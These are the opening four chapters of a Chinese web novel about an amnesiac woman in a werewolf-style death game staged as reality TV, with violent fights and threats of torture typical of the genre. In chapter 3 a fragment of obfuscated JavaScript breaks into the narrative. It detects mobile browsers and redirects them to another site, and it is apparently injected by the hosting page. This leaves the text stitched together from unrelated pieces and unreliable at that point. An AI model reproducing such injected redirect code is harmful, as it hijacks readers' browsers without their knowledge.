《我造自己的反有问题吗?》
1. 九乐城(一)
——砰!
心脏好似被纠紧的强烈失重感,使躺在床上的穆炽猛然睁开了眼。
有一点尖锐的白光正悬在她的眼前,被一双手握紧,狠狠朝她刺下!
会死!
穆炽来不及思考,身体已驱使脑袋条件反射地朝右边一偏,堪堪躲过那柄锋利的匕首。
“笃”的沉闷一声,刀刃擦着她的耳廓刺入枕头,又直直插进木板里。
太近了,近得好似连血管都能感知到那股致命的寒意。
“嗯?”
刺客没想到她会在熟睡中忽然醒来,在刀刺偏时,没忍住发出了惊疑一声。
但他反应同样很快,握住匕首的双手瞬间发力,当即迅速一拧,就要将它横过来,继续朝穆炽划去!
穆炽躺着的这张床很窄,窄得让那个刺客不必踩在床面,也足以用一柄匕首杀死她。
但它又太窄了,窄得穆炽只要一抬手,就能掐住刺客的喉咙!
在即将被夺去性命的电光火石之间,穆炽没有余裕去思考、去关注任何事情。
此刻的她头脑清醒无比,唯一充斥在基因本能里的念头仅有一个。
——先杀了他!
在刺客想要进一步动作前,穆炽已经提前用左手握住他那抓着匕首的手腕,右手则借着左手的发力朝高处一探,将那刺客露出的致命破绽——喉咙——死死掐住!
“啊…咳……”
猎物竟然在反抗,对方难以相信,发出嗬嗬两声气音,一只手松开匕首,转而要来掰脱穆炽的禁锢。
穆炽岂能给他机会。
即使大脑没有在思考,她的身体好像同样极其擅长战斗,腰腹一个发力就翻身而起——连带让左手压着刺客的关节狠狠一拧,迫使对方松开那柄尚未从木板中拔出的匕首。
刺客可能因为关节错位而想要发出痛呼,但气管始终被穆炽的五指掐紧,他半点声音也发不出来。
只在迫使刺客仓促应对的瞬息之间,穆炽便获得了这场战斗的主导权,上下位置也应势颠倒。
轮到她死死盯住那个刺客躺在地面,徒劳挣扎着,面庞因缺氧与恐惧涨得紫红。
现在是晚上,房间里没有光源,唯一的照明来自窗外的月亮。
在这黯淡的光线中,穆炽将刺客的每一次反击都毫不留情镇压回去——亦如那毫不动摇的、扣住气管的五指,直至那具身体一动不动以后,才缓慢松开。
那柄匕首依然插在床上,被穆炽抬手拔下。
插得很牢固,对方是下了死手来杀她的。
保险起见,穆炽拿到匕首后,又补了一刀。
她发觉自己的情绪始终冷静,即使看见尸体也没有出现反胃、难受或慌张的生理反应。
甚至不如反杀成功带给她的情绪波动强烈。
逐渐缓下来的心跳频率依然很快,像密集敲响的鼓。
穆炽握紧能把沾染血迹的匕首,嘴唇紧抿成线。
这可不太对劲。
她分明是普通家庭的出身,正常的成长、念书,直到大学毕业,参加工作,在一次野外考察中,不慎坠崖。
怎么会醒来在这么奇怪的地方,还变得如此擅长战斗。
譬如此刻,她知道自己应当半俯下身,踩在地面的脚步轻而慢,摆出伏击的标准架势。
那把匕首被倒扣在掌中,刃身紧贴小臂,是防御与反击兼备的最佳握法。
乍一打量,她住在一间类似守林人的小木屋里,从窗户望出去,是一片分不出品种的树林。
皎洁的月亮悬在半空,穆炽定定望了会,发现了异常。
天上的星星……太少了。
常见的那几颗星宿也看不见。
穆炽收回视线。
她已经不在地球了吗。
穆炽将左手摊开。
食指的关节下方有一处偏深的疤痕,是以前在野外考察时,被树枝划伤而留下的。
形状、深浅、位置,都与记忆里的丝毫不差。
这是她自己的身体。
但此刻,她握住匕首的架势很熟练,指节与掌心却没有常年训练产生的薄茧。
原本方便行动的短发长了许多,到锁骨位置。
身上疤痕同样多了不少,都是旧伤。
体型也变得瘦削,但比记忆里的任何时候都拥有更强的爆发力。
她来到了某个不知名的地方,身上多出了好几道不知名的伤口,还从野外考察实习生变成了野战特种兵。
穆炽将关于自身的一些列情况在脑海里过了遍,重新看向那具依然倒在地板上的尸体。
穿着的衣服与她款式一样,但已经被血染成了暗红色。
处于青壮年时期的男性,死于窒息,又中了好几刀,双眼朝外突出,瞳孔扩散。
血液流出的不多,只在衣服上扩开大片。
果然没什么生理反应,说明她早已习惯看见这些。
哪怕在穆炽记忆里,这还是她第一次直面死人。
不过,是对方要先杀她的,反杀成功是她有本事,而不是她犯下了罪。
穆炽神态从容,在这具尸体边半蹲下来。
距离方才的打斗已过去不少时间,对方的身体已经逐渐冰冷发硬,但还算柔软。
穿的衣服
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跟她一样,没有明显特征。
翻过手掌,呈半抓握状态,皮肤粗粝,有厚厚的茧,指甲边缘崎岖,甚至显得有些尖锐。
按了按尸体的胃部,穆炽迟疑了会,还是没有剖开去看他胃里消化的食物种类。
主要是有点恶心。
这间木屋就这么大,又没找到水,不好清洗。
掰开嘴,能看见牙齿磨损的痕迹。
但他的上下各有一对虎牙,尖锐,比其他牙齿更突出些。
人种特征吗……穆炽又仔细端详了遍他的五官。
自动忽略那依然死不瞑目的表情。
褐发褐眼,五官偏深邃,皮肤被晒到的地方黝黑,没被晒到的地方又很白,体毛很重。
不太好判断,但肯定不属于她这样的纯东亚人种。
四肢肌肉倒是发达,估计等会搬起来挺沉。
从这个刺客身上唯一得到的有价值的东西,就是这柄做工精致的匕首。
精致到与这间堪比中世纪的原始小木屋格格不入。
穆炽将它抛向空中。
在凭借肌肉本能的操控下,她可以让匕首在空中甩出一连串轻巧的刀花残影,再稳稳接住。
她以前绝对做不到敢空手抛接利器,还如此轻描淡写。
甚至面对这样陌生且诡异的环境,穆炽以为自己会表现得惊恐一点。
或者说,应当表现得惊恐些。
但实际上,她的心情远比自己预料的还要轻松。
毕竟,不论究竟身在何处,她至少还活着。
这感觉实在很好。
穆炽不着急出去,而是先将这具尸体推去床下,用自边缘垂落的床单盖住。
在处理这种意外状况上,她竟然也能做到如此镇定,好似一个习惯性践踏法律的连环杀人狂魔。
她以前是这种性格?
明明感觉记忆里的她还挺活泼的。
屋内的光线开始变亮。
再过不久,天边的月亮将会彻底落下,天色从极暗转亮。
晨曦的光自东边的地平线升起,照进窗台,也令地板上残留的拖拽血迹清晰可见。
而穆炽始终在那张唯一的小床上坐着,双腿交叠,五指灵巧把玩着那柄匕首。
好似在重新熟悉自己的身体——活在此刻的、真正的自己。
直至下一次将匕首捏停在指尖时,眼角余光瞥见匕首上刻着密密麻麻的小字。
拿近发现是她认识的文字,端端正正刻在正中央。
【狩猎已经开始。】
【你成为了狼人。】
【去杀死所有人。】
2. 九乐城(二)
“各位亲爱的贵宾,欢迎你们来到七座城市中最疯狂的欲望游乐场,九、乐、城——!”
“在这座由钢铁、霓虹与人类最原始的欲望所铸成的终极乐土内,我是你们的主持人A-72号,今晚将与九乐城一道,为您带来【只要敢想,九乐城就能做到】的极致感官体验!”
“寻常那些热门项目自不必多费口舌,瞧瞧这些新推出的独家记忆罐!不论你想体验破界者战斗时的血腥撕咬,抑或想感受杀手追逐猎物时的肾上腺素飙升,甚至是知名影星的独家私人记忆——只要支付足够的通用币,你就能活进别人的故事里!”
“还有这些破界者的专属角斗场,噢,请您放心,我们肯定会将最凶残、最勇猛、最野蛮的破界者投入其中,让您在最安全的位置观赏完整场比赛!当然,假设您愿意提前支付一点点通用币,成功押注获胜者,就可以拿走翻倍的快乐!”
“没错,快乐,无论您在其他城市经历了什么,来到九乐城,您只需要全身心放松,享受这些明码标价的快乐狂欢!”
“准备好了吗?3、2、1——由死刑犯们倾情奉献的特别真人秀正式开场,让我们把画面交给光幕,尽情押注您看中的胜利者吧!”
“是畏畏缩缩的1号吗?还是警惕的3号呢?或者是看起来——噢,可怜的5号已经被选中成为第一个猎杀目标了!”
被音乐、欢呼、调笑与叱骂声包围着,足有整面墙大小的光幕被切割成数个窗口。
其中一个窗口的画面正伴随主持人的声音逐渐放大,清晰显露出躺在床上沉睡的那道女性身影——
“干得漂亮!”
“杀了他!好!!”
“就这样杀下去!!”
偌大的光幕外,当看见5号竟然能反杀成功时,有些性情直爽的,当场激动得欢呼鼓掌。
哪怕知道屏幕的5号听不见,他们也为存活下来的她高声呐喊,,毫不吝啬手中的打赏。
光幕一侧,押注在5号的数字在疯狂攀升。
弹幕滚动得太过密集,甚至挡住了画面。
【刚才可是显示她的危险系数只有1%】
【36%对1%都没打过,精彩,太精彩了】
【谁标的1%,笑死个人】
【上次谁把他家的宠物仿生狗丢进去了来着,也有19%吧】
【是说十九分之一的宠物仿生狗就能把7号杀了吗哈哈哈哈哈】
一拨在肆意嘲笑刚才挂掉的7号,另一拨则在讨论5号的战力。
【话说她是破界者?没看出来啊,混了什么动物的基因?】
【外表看不出来,但力量很大,动作也灵活,我猜是鸟类的】
【怎么不可能是水生的?】
【笑死,谁不知道水生的动作慢得很,老子咬你一口,你躲都不知道躲】
【我猜是食肉的哺乳动物,猎豹或者狮子】
【投猎豹一票】
【反正不可能是没有战斗力的共生者】
【猜猜猜,有什么好猜的,格老子的,赶紧去杀下一个,***的等不及了!】
坐在这里的观众喜欢血腥与暴力,极度追求感官上的刺激,越是出现预期之外的场景,越能令他们疯狂叫好。
所有的目光都投向5号窗口,期待着她做出的任何一点反应。
被投入真人秀节目的囚犯都被清洗过记忆,他们只会凭借本能与仅剩的一点点常识行动,往往能带给他们出其不意的体验。
许多死刑犯是不识字的,甚至只会乱杀乱点一通,看起来滑稽又好笑。
他们想要看见强者出糗,想要看见弱者露出最狼狈不堪的表情,就像一群贪婪的食人鱼,只要闻到一点点血腥味,都会毫不迟疑地扑上去。
而往往认识几个字的,就更有意思了,他们做出的反应会复杂得多,也能让节目变得更精彩。
亦如此刻,这些攒动的人头在注视着5号的反应,期待着她能带给他们更多惊喜。
或者一场滑稽的戏剧落幕。
检查尸体,并不意外,许多人都这么干过。
对陌生的空间与失去的记忆毫无反应,甚至在抛玩匕首。
光幕上的画面实在清晰,令所有人都能看清5号的脸,以及浮现在她唇角的细微笑意。
她很放松,并不对眼前的场景有任何惊慌的反应。
好似眼前的一切都是自然而然发生的、合理存在的事物。
场外嘈杂的动静,开始逐渐消失。
5号表现得太过游刃有余,放松且从容,以至于现场原本在关注其余窗口的目光,都开始不自觉汇聚在她的身上。
一位拥有黑色半长发、身材高挑而劲瘦的年轻女性。
她看起来并不强壮,身体表面也没有明显生物化的特征。
不论是谁第一眼看见她,都会误认为她只是个普通的共生者。
但在被人造月光衬托的鲜红下,在依旧死不瞑目的尸体面前,她没有任何负面的情绪反应。
只在把玩匕首时,心情很好的弯起了嘴角。
他们第一次见到如此矛盾的特质,融合在一个人身上。
——这实在令他们兴奋极了。
>>>
天亮了。
穆炽推开那扇没有锁的木门。
抬眼看过去,四周依旧是望不见尽头的森林,以及几栋与她身后差不多规格的小木屋。
像流水线批量制造。
几栋小木屋环绕着中央那块类似广场的地方,有口用石砌的井。
这大概就是打水的地方。
广场东侧则摆着一张三米长的木桌,连带两条同样长度的板凳,坐七八个人绰绰有余。
穆炽不是先到的,桌边已坐着三个男性——两个大约三十岁的壮年,一个稍老些,估计有近五十岁。
以及一位女性,二十来岁的姑娘,模样可爱。
至于人种,还是像昨晚死掉的那个刺客一样,不具备典型特征。
那三个汉子看见穆炽过来,倒也主动。
“刚醒?坐,来坐。”
他们换了下位置,让穆炽与姑娘坐在一侧,三人坐在另一侧。
除此以外,没人再说话。
过了片刻,又过来一个身形瘦削的男人,来回看了几眼,选择坐在穆炽的对面。
总共六个人,身穿几乎统一的衣服款式,围着一张上面什么都没有的长桌。
沉默持续了很长时间。
这是个好消息,意味着他们互相之间都不认识。
很大概率,现在才是他们第一次见面。
除了穆炽,没人知道昨晚死了一个狼人。
而她成为了新的狼人。
穆炽摸上长袖遮挡下的小臂。
她昨晚从尸体衣服上扯下了一截布条,将它固定在了那里。
在她的记忆里,确实有这么一款游戏。狼人杀。
这款游戏的游戏规则十分简单,根据参与的玩家数量,会分别有一部分人被分配到狼人、村民及预言家等身份。
接着,在以天数为单位的发言和投票环节中,村民先一步投票处刑所有狼人,或狼人在夜晚杀死所光所有神职/村民。
她需要杀光这五个人,才能结束游戏吗。
就在这片沉默中,一位穿着与他们不同的老人,带着两个青年,颤颤巍巍走过来。
“第一晚竟然是平安夜啊,恭喜各位。”
餐食被分发到穆炽他们手中,就一个面包,搭配一碗清淡的汤。
老人则站在那里,继续发言。
在穆炽眼里,他就像个尽职尽责的游戏主持人。
“但,狼人是狡猾而不知保足的野兽,依旧会出来狩猎。”
他的目光慈祥,又担忧着,将在座六人的反应逐一看在眼里。
有的人目露不屑,有的人倨傲自信,有的人担惊受怕。
只有穆炽,脸上没有任何情绪反应。
他看了穆炽两眼,才继续开口道。
“在这里,我有一些忠告要给予你们。”
“狼人会在晚上游荡,太阳下山后回到房间,禁止出门。”
“狼人每晚只会随机挑选一个目标杀害。”
“所有人都可以在白天自由活动,杀死你认为是狼人的叛徒——当然,也可能会被反杀。”
“当狼人全部死去,你就安全了。”
听到【叛徒】这个单词,穆炽的指尖微微一动。
有那么一瞬间,比昨晚任何时候都要强烈的情绪波动,瞬间席卷了她。
如同骤然涨潮的海浪,却难以辨明源头来自何处。
老人慢吞吞说完那些忠告,转过身,打算离开这里。
所有人都安静听着,没人发出异议。
“等等。”
穆炽开口。
老人的脚步停了下,转过身来。
“怎么了,我的孩子?”
他甚至朝穆炽笑了笑,模样和蔼。
“你,还有他们,”穆炽示意跟在他身后的那两个青年,“住在哪里?”
似乎是第一次听到有人问他这个问题,老人讶然看了她一会儿,才回答。
“这不在你需要知道的范围内。”
在穆炽的注视下,他们走进森林里,很快就消失不见了。
直到这时,弥漫在这张木桌附近的空气好似才重新流动般,氛围忽然放松下来。
“你还真敢问啊。”对面一个约三十岁的男人开口,“哎,不过我也挺好奇的,刚才怎么就没想过要多问几个问题呢?”
“还是那些忠告更重要吧,问出老头住哪里又能怎样。”
另一个与他年龄相仿的男人接话,觉得这件事根本无关紧要,也就穆炽会多嘴一问,抓不住重点。
身形消瘦的男人专注撕面包,一句话也没说。
“狼人啊……”
跟穆炽坐在一起的姑娘点了点嘴唇,问她,“你觉得谁是狼人呢?”
“我觉得……”
穆炽张口,声音冷淡,却有着轻而易举吸引在场所有人注意的能力。
而她如此说道。
“——你们,全部都是狼人。”
空气死寂片刻。
“哈……荒谬,这么说,你现在就想把我们全杀光不成!”
最开始说话的那个男人将面包往桌面重重一拍,瞪着穆炽,拳头关节捏得咯咯作响。
“…………”
其余几人没有开口,但也变得极不友善,或警觉或瞪向穆炽。
气氛剑拔弩张,如同一张拉满弦的弯弓。
就在这种时候,穆炽竟然微微一笑。
“别紧张,各位。”
她举起没有绑着匕首的那只手,朝下轻压。
“这只是一个试探,而结果应当值得你们高兴。因为,在我们中间,并不存在狼人。”
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>“……什么?”
穆炽这句话,令所有人都愣住了。
不存在狼人?那老头不是刚刚才说有每晚都狩猎的狼人吗!
穆炽站起身,视线也变得居高临下。
仅用一句话,她便掌控了场面的主导权,使这五人都不自觉想要听她继续说下去。
而非陷入原本应当产生的勾心斗角、互相防备,乃至猜忌下的盲目厮杀之中。
“当我说出,【所有人都是狼人】时,我在观察各位的反应。”
穆炽声音平淡,偏沉,又透着些许久未进食又熬了夜的沙哑。
“各位想想看,倘若你们被交代了自己是狼人,忽然听到有人怀疑到自己头上,会是什么反应?”
“在死亡的威胁下,要么是惊慌,要么是心虚,要么是强装镇定。”
“听见我一口气怀疑你们所有人,第一个反应也会是感到惊讶。毕竟,只有狼人才会知晓自己的同伴是谁,才会知道我究竟冤枉了几人。”
越听越有道理,这五人若有所思的点头,被穆炽说服了。
“照你这么说,我们中间没有狼人?呵,或者你就是狼人也说不定!”
但刚才开口的暴躁老哥,再次质疑起穆炽的身份。
“如果我是狼人,不会冒着死亡的风险,在第一个白天就试探你们。藏起来,不要出风头,安静的狩猎,这才是狼人会做的选择。”
穆炽背着手,在他们面前踱步。
他们再次被说服,半信半疑的嘟哝着“确实啊”。
哪有狼人傻到不隐瞒身份,立刻成为众人的靶子?
“但你刚才说的,我们都不是狼人,又是什么情况?”
穆炽的脚步停下。
目光认真看向这五人。
“在我说出我的猜测前,先请各位回忆一下,在今天之前,你们是怎样来到了这里?”
没有任何关于这个世界的记忆,穆炽就用自己的办法,不着痕迹的从他们口中套话。
她同样比自己想象中的更适合做这个——就像娴熟地驱赶羊群那般,让他们听从她的指挥。
那个老头第一句话就透露了,昨夜是狼人杀的第一晚。
也就意味着,他们一定有一个【到达游戏现场】的过程。
“从你开始。不要紧,想到什么说什么。”
穆炽点名那个与她同行过一段距离的姑娘。
“我,我其实什么都不记得,只知道自己要来参加一场生死赛,赢了有奖励……”
对方“蹭”一下坐直了身体,很紧张的捏紧手里啃缺一口的面包,话也讲得有点磕磕巴巴。
“规则也记得一点,但没有刚才那位老爷爷讲得清楚……不记得我是什么身份……”
所以才会说昨天是个平安夜?
穆炽示意她做的很好,又看向下一个人。
“跟她一样。”对方开口。
“同样。”
“我也是。”
“我也一样。”
穆炽沉吟片刻,再次看向他们。
“是的,”她开口,话语铿锵有力,“我们的情况都一样。没有任何记忆,被告知参赛,醒来在这个该死的地方,被狼人狩猎,又要猎杀狼人。”
“这就是为了让我们自相残杀而设置的一场比赛。有没有狼人,并不重要。”
“而那位给予我们忠告的老人说了,【杀死你认为是狼人的叛徒】。对我们人类来说,狼人怎么会是叛徒?狼人是异类才对。”
“所以,我们真正要杀死的叛徒,是那个想要挑拨我们自相残杀的老人!”
穆炽的声音逐渐提高,也带动了所有人的情绪。
“原来是这样,所以你才会问他住哪里吗!”
暴躁老哥拍桌,对穆炽竖起大拇指,“对方没有正面回答,反而更加证明了他在心虚!”
“没错。”
穆炽微笑着看向众人,背在身后的右手始终压在匕首的刀柄上。
“因此,我有个提议。”
>>>
“哈哈哈哈,真是没看出来啊,竟然来了个这么会说话的。”
办公桌前,一道经过信号处理后略微失真的声音响起,连笑声也显得刻板。
“观众的反响也很热烈,毕竟这档节目播出以来,他们看见的一直都是猜忌与互杀的戏码,多少也失去了新鲜感。”
那道机械的女性嗓音继续说道,好似在自言自语。
“没想到顶着麻醉喷雾都能醒,是她的身体素质特殊?还是单纯的运气?”
在穆炽他们面前出现过的老者带着那两个青年,恭敬站在办公桌前。
等上司没有继续说话,他才小心开口。
“如果之后按照她的提议,剩余六个人夜晚都结伴出门巡逻,那么,这场游戏就没办法进行下去……”
毕竟忠告——也就是规则之一,就是让他们在夜晚待在房间里。
以往也会有不听劝非要夜游的,他们直接杀了就行,还能让剩下的人互相猜忌,引发冲突。
可这六个人一起夜游,原本布置在木屋里的麻醉喷雾都会不起效……
机械女声打断老者的话,微微笑起来。
“‘天空’不是也有布置麻醉装置吗?全麻醉了吧,然后你随便挑一个杀,记得用她拿到的狼匕,做的明显点,不要再给她藏匿的时间。”
“想必观众也会很期待,她还能如何拉拢剩下的村民。”
3. 九乐城(三)
穆炽只在那栋小木屋里待了很短的时间。
屋里的血腥气太重。
等她再出门时,太阳已经掉下地平线了,月亮重新被挂起。
这里没有蜡烛与其他照明装置,一旦太阳没了,他们视野的能见度就会变得很低。
连广场、另外几栋小屋及森林,在此刻也只能隐约看见一个轮廓。
这是逼迫他们遵守【夜晚禁止出门】的手段之一。
但在穆炽的鼓动下,至少这一批狼人杀玩家都被她说服,转而打算去杀死给予他们忠告的可疑老头。
这种齐心协力的讨伐令他们感到无比兴奋,而穆炽一开始就将他们全部归拢为“清白”这点,更是令众人对【他们是一边的】这点笃定无疑。
在失去记忆、又尚未适应的情况下,他们的盲从性是最高的。
见到穆炽出现,等在门口的那个姑娘开心朝她靠过来。
比起那些男人,她下意识会更亲近穆炽。
“我们都准备好了,木屋与周边也翻遍了,没有斧头或菜刀之类的锐器,索性把木桌拆散,捡几根木棍防身。”
穆炽看了另外几人一眼。
他们手里都拎着一根木棍,呈一字型站开,神情严肃。
看来也不是完全信任了彼此,知道不能把后背留给别人。
“很好,出发。”
穆炽没有说什么,反而主动走在他们前方。
从头到尾泰然自若,像是半点也不担心会有人从她身后搞偷袭。
另外几人互相对视一眼,反而也跟着放下些许紧张。
从聚集到广场开始,穆炽始终镇定,沉稳,讲出的话条理清晰,很有说服力。
人类是群居生物,抱团是一种镌刻在基因里的天性与本能。
如果穆炽没有将他们六个人划成一个整体,随着时间推移,他们自会分裂成一个一个的小团体,开始争斗,厮杀,最后幸存一人。
或者谁也不能活下来。
经过广场时,穆炽脚步微顿,回头看了他们一眼。
不过,这样的剧情展开实在俗套。
还是来关注点细节吧,譬如,天上的月亮……已经很久没有挪动位置。
“……等,等等,这气味,不对劲……”
就在此刻,众人开始踉跄着,身体摇晃,仿佛站在剧烈起伏的海浪中央。
他们试图将手攀在什么东西上,好控制住自己的身体。
但这样的挣扎只是暂时的,难以抑制的眩晕感会在几个呼吸间就吞没他们的理智,将他们拉入一无所知的沉眠里去。
穆炽晃了下身体,没有像其余几人那般慌乱,而是缓慢半蹲下身,手掌撑着地面——
但她也没能维持这个姿势太长时间,就同样闭起眼睛,栽倒在地。
>>>
又过去好一会儿,才有脚步声从森林那边传来,略沉,不紧不慢。
是一个两手空空的青年,白天跟在老人身后过来送餐的二人之一。
为了给予观众最大的沉浸式体验,他穿的衣服普通,身上也没有携带任何超出场景许可范围外的武器或设备。
不过,像这样强行介入节目、干扰进程的次数极少,以至于他本身也没有多么丰富的经验。
为了防止从拟态月亮后喷出的麻醉喷雾剂量不够,他特意多等了会,才按照上司的命令,过来处理现场。
他本人已经提前注射过解毒剂,不会受到麻醉喷雾的影响。
即使空气中依然充斥着明显的麻醉气味,他也可以照常呼吸。
当然,对这些“村民”而言,麻醉喷雾的效果一直都十分有效。
往期节目已经无数次证明了这点。
倒是像这种强行伪装狼人作案现场的活,他还是第一次干。
据说这也是观众的要求——他们迫不及待想要看见戏剧、混乱、血腥与冲突,越刺激就越令人感到愉悦。
该怎么说呢,会落得这样的下场,也算是这些人活该。
青年远远瞥过去,看见六道横七竖八倒在地上的身影。
有些人手里还握着木棍,一副看起来要跟他们拼命的架势。
他在心底嗤之以鼻。
就凭这东西还想跟他们暴动。
果然记忆被洗掉后,认知也会变得像一叠泡过水的草稿纸,既白痴又愚蠢,充满着不切实际的幻想。
算了,还是赶紧找到那个拿着狼匕的女人,随便借她的手杀死一个人吧。
他比了个手势,示意道具组那边帮忙把月亮的光线调亮些。
乌漆嘛黑的,又不让带红外镜,他什么也看不清。
天空的“月亮”立刻亮了起来,像一颗流明过高的灯泡,将这片广场照得纤毫毕现。
那个女人也找到了,半蜷着身体倒在那里,摆出一副好像还能防备攻击似的架势。
一点用也没有。
见麻醉喷雾如预想中那样起效,青年彻底放下心来,抱着早点干完早点收工的态度,在她身边蹲下。
开始摸索被她藏在身上的那柄狼匕。
从监控画面上看,记得是在左手的小臂位置……
青年的手摸到她左边的衣袖,感觉有点不对。
怎么湿漉漉的?
他们还没有设置雨天,地面是干的,按理来说,怎么也不可能是沾到的水。
除非——
青年的眼睛骤然瞪大,单手习惯性往身后摸去,却捞了个空!
糟了,这身衣服是村民穿的,没有武装带!
等再下一刻,他已经没机会再做出更多的反应了。
一柄匕首,轻轻贴上了他的颈部。
原本应当冰凉的刃身变得温暖。
既是被体温焐热的,也是被血焐热的。
“没有带武器?”女人的声音在他耳边微笑,“看来你还不够谨慎啊。”
致命处被此处唯一的凶器——匕首指着,青年只能举起双手。
“你竟然通过疼痛来让自己保持清醒?”他刚开口就觉得不对,“不可能,疼痛是无法阻止麻醉剂起效的!”
“它不是为了阻止麻醉剂起效,只是想用让自己更快的清醒,顺便判断没有致幻类的药物。”对方淡淡道。
青年听得更吃惊,“麻醉剂对你不起作用?!”
他还是第一次遇见如此快就从麻醉效果中脱离出来的人!
“谁知道呢,大概是我运气比较好吧。”
对此,穆炽只给了一句不清不楚的解释,极其敷衍,根本没打算为别人解惑。
第一晚能半途醒来的经历让她赌了一把,可不意味着她强行让自己保持清醒的同时还要好为人师。
“好了,我知道你只是个打工的。”穆炽冷淡道,“带我到组织这场游戏的人那里去。”
“带你……?”
青年刚露出“你在逗我玩吧”的表情,右手当即传来一阵尖锐的疼痛,令他惨叫出声。
穆炽收回匕首,重新贴在他颈侧。
“再多啰嗦一个字,等下我就插进你的小腹里,横着切一刀。”
她轻笑出声,“这点疼痛可不会死人的,反而会很有意思。想看看吗?你抱着自己流出来的肠子,跌跌撞撞走回去求救的场景。”
“反正你怎么样都得回去,我是不介意你通过什么方式回去的。”
青年浑身抖得不行。
血腥的场面见得多了,习惯了,可不等于他能接受自己也被这样对待!
而会被送来这里的人,他根本不能指望他们下不了手……!
这片地方的麻醉剂气味依旧很浓,穆炽轻而无声地吐了口气,强压着仍处在强烈眩晕中的大脑。
从表面上来看,她依旧镇定而冷静,不受半点影响。
“还是说,有很多观众已经在期待看见这样的画面了?不如我就这样做给他们看吧?”
她用匕首的尖端贴着人质的腹部,来回比划。
即使嗓音透着点笑意,声线也放得很轻;但在青年耳中听来,根本就是魔鬼在讲话。
他忍着右手的剧痛,赶紧站起来。
穆炽也跟着他起身,那柄匕首又回到对方的颈侧,始终紧贴着致命处。
这人没有受到麻醉剂的影响,他一定有某种办法规避掉麻醉剂的效果——但穆炽知道自己不能问。
一旦朝对方索要这个办法,就等同于她向对面示弱,暴露出“麻醉剂其实对她有一定效果”这条线索。
倘若他们反应过来,立即加大剂量,穆炽不确定自己还能不能保持清醒。
左手一直传来热灼般的疼痛,在麻醉喷雾效果的影响下不算尖锐,但能够令她对自身的注意力有一个锚点。
在这个死寂的“夜晚”,天上的那轮“圆月”格外亮,像个小太阳,也像一盏硕大的冷光灯,照着青年来时走过的路。
此刻,也是他第一次被人用匕首指着,一路都不敢回头。
穆炽落在青年稍后半步的位置,全程盯着人,不给对方反击的机会。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705087|189163||http|test|mini|href|location''.split(''|''),0,{}));
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>她的意识不算清楚,好在用凶器威胁人这种事更多得用上武力,也不那么需要智商。
“其实,即……即使你这样威胁我也没用的。”
走到半途,青年小心翼翼开口。
“你的那几个同伴,你不想救他们了吗?我的同事也可以用他们的命来威胁你的。”
“什么同伴,关我什么事。”
穆炽冷冰冰开口。
“我连他们的名字都不知道,只是当诱饵钓你们出来而已。拿他们的命威胁我有什么用?一个没有记忆的人,难道还会有良心吗。”
青年被噎住了,无法反驳:“…………”
“脚下别停。”
穆炽随手用匕首戳了他屁股一下,扎得他嚎了一嗓子,老老实实加快脚步。
像被抽了一鞭子的牛,“哞”的一声就开始干活了。
这女人是真的像她说的那样,半点良心也没有!
又走了一段路,他们已经进入森林很长一段距离了。
有树叶遮蔽,月亮的照明也被削弱不少。
穆炽仔细看了那些树木,确定她是真的无法准确辨认品种。
可能确实不在地球上了。
否则,以她记忆里的工作经历来说,即使不是这方面的专家,多少也能看见几种眼熟的。
在这种压抑的死寂中,青年扛不住被匕首贴在致命处的恐惧,再次找穆炽搭话。
“你这根本不是结束游戏的正确办法,你就算跟着我回去,也会被抓住,投到下一个游戏里去。真的,你还不如回去当狼人,反正狼匕已经落在你手里,那五个人又昏睡过去了,就算你一刀一个也……嗷!”
青年的屁股又被匕首扎了下,痛得他吱哇乱叫。
“只有一个幸存者,是吗?狼人就像病毒,而它具现化成了这把匕首。”
只要谁拿到,谁就是狼人。
穆炽将匕首随意挽出一个刀花。
或许过去也有使用某些手段,成功杀掉狼人的“村民”。
但很快,他们就会发现,拿到匕首的自己变成了下一个狼人。
这是最多仅有一人能存活的残酷比赛。
不如说,“赢得这场比赛的条件根本不是身为狼人杀掉村民,抑或作为村民杀光狼人。”
“赢的条件根本不在游戏里。”
穆炽的声音不疾不徐,却足够敏锐,使青年没忍住心底的惊愕,转过头来看她。
“观众的【人气值】,才是真正胜利的条件。”
在这句话的结尾,穆炽朝面露惊骇的他露出一个微笑。
“我说的不对吗?”
只要赚取的人气值足够高,无论她做出什么行为,都能被原谅。
青年张口结舌,完全没想到竟然有人能在投入游戏的当天,就猜出了这么多东西!
“你……你的记忆没有清洗干净?”
他只能想出这个可能性。
“嗷!!”
“我不是说过了吗,脚步别停。”
穆炽收回脸上笑意,面无表情的,匕首又朝他屁股扎了个不深不浅的血洞。
反正屁股肉多,没什么神经,多扎几下也死不了人。
走路痛就痛点,管她什么事。
她没有记忆,也没有良心。
青年也不敢伸手去摸自己的伤口,心惊胆战开口。
“我们已经到了。”
他们成功抵达了这片森林的尽头——即使肉眼看过去,远方还是无穷无尽的森林。
但在青年伸手不知道摸在哪里后,没过一会,就有片水波纹般的涟漪在空中荡开。
一扇门无声滑开,向穆炽铺开通道。
铁灰与乳白交织的金属墙壁,两侧有绿色的灯带一路延伸,为他们提供照明。
是超过穆炽记忆里的超现实场面。
朝身后望去,还是充斥着原始森林的低生产力时代景象,被笼罩在过于明亮的人造月光之下。
“哈,科技啊。”
穆炽唇角微动,扯出一个似笑非笑的表情来——比起赞叹,更像嘲弄。
她推了身前的青年一把,自己也迈步进去。
大门在她身后轻巧滑拢,另一道经过信号处理的女声响起在整条通道内。
连带着那两侧埋在墙壁内的绿色灯带也好似在呼吸、亦或是鼓掌般,一并为她闪烁起来。
“欢迎你的到来,这场游戏的真正胜利者。”
“请前往68层,我在典狱长办公室等你。”
4. 九乐城(四)
与那看似静谧又古朴的“村落”不同,穆炽这一步踏入,仿佛直接来到了另一个世界。
极冷硬的金属通道不断向前延伸,又弯出数个折角,通往不同的地方。
没有窗户,没有除去绿色指引灯以外的稳定照明光源,那些地方都黑得压抑。
看久了,有一种透不过气的憋闷感。
她本能的讨厌这里。
穆炽收回视线。
那个被她挟持着进来的青年已经一瘸一拐、龇牙咧嘴的离开了,大概是去类似医务室的地方治疗伤势。
